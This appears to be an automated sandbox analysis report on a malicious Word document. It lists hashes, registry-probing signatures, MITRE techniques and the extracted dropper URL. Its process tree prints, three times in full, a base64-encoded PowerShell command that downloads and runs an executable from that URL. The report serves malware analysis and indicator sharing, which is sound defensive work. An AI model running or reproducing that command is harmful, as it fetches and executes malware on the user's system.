b9c87683d4000e24d419ebe199d2c55dbb9757d5cc8f4e6d9a0295e963cbb07c

General

Target

3fce454b_by_Libranalysis.doc
Size

43KB
MD5

3fce454b5a5ba7d73cc2b2560f69a48a
SHA1

b9321f7d1bbb1e020b03b676bd23d53e9ff6c17e
SHA256

b9c87683d4000e24d419ebe199d2c55dbb9757d5cc8f4e6d9a0295e963cbb07c
SHA512

fc35cb2957f15a3cdadf282c1b6d0f876dd710061d7c645618b83a394171723d24ddfecc64d721cb2cb1745e44a283dcc7278d6da9f3a67465e2cb8e760eb943

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://atlantastunttruckdrivers.com/Denight.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1588	3876	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

18 1968 powershell.exe
Downloads MZ/PE file

flow	pid	process
18	1968	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3876 WINWORD.EXE
3876 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1968 powershell.exe
1968 powershell.exe
1968 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1968 powershell.exe

pid	process
1968	powershell.exe
1968	powershell.exe
1968	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1968	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

WINWORD.EXE

pid	process
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WINWORD.EXEcmd.execmd.exe

description	pid	process	target process
PID 3876 wrote to memory of 1588	3876	WINWORD.EXE	cmd.exe
PID 3876 wrote to memory of 1588	3876	WINWORD.EXE	cmd.exe
PID 1588 wrote to memory of 2776	1588	cmd.exe	cmd.exe
PID 1588 wrote to memory of 2776	1588	cmd.exe	cmd.exe
PID 2776 wrote to memory of 1968	2776	cmd.exe	powershell.exe
PID 2776 wrote to memory of 1968	2776	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3fce454b_by_Libranalysis.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3876

C:\Windows\SYSTEM32\cmd.exe
cmd /c cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1588

C:\Windows\system32\cmd.exe
cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==
3⤵
- Suspicious use of WriteProcessMemory
PID:2776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1968

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1588-179-0x0000000000000000-mapping.dmp

Download
memory/1968-185-0x00000121F0138000-0x00000121F0139000-memory.dmp

Filesize
4KB

Download
memory/1968-184-0x00000121F0136000-0x00000121F0138000-memory.dmp

Filesize
8KB

Download
memory/1968-182-0x00000121F0130000-0x00000121F0132000-memory.dmp

Filesize
8KB

Download
memory/1968-183-0x00000121F0133000-0x00000121F0135000-memory.dmp

Filesize
8KB

Download
memory/1968-181-0x0000000000000000-mapping.dmp

Download
memory/2776-180-0x0000000000000000-mapping.dmp

Download
memory/3876-117-0x00007FFDDC160000-0x00007FFDDC170000-memory.dmp

Filesize
64KB

Download
memory/3876-123-0x00007FFDF5880000-0x00007FFDF7775000-memory.dmp

Filesize
31.0MB

Download
memory/3876-122-0x00007FFDF8120000-0x00007FFDF920E000-memory.dmp

Filesize
16.9MB

Download
memory/3876-118-0x00007FFDFCE60000-0x00007FFDFF983000-memory.dmp

Filesize
43.1MB

Download
memory/3876-119-0x00007FFDDC160000-0x00007FFDDC170000-memory.dmp

Filesize
64KB

Download
memory/3876-114-0x00007FFDDC160000-0x00007FFDDC170000-memory.dmp

Filesize
64KB

Download
memory/3876-116-0x00007FFDDC160000-0x00007FFDDC170000-memory.dmp

Filesize
64KB

Download
memory/3876-115-0x00007FFDDC160000-0x00007FFDDC170000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads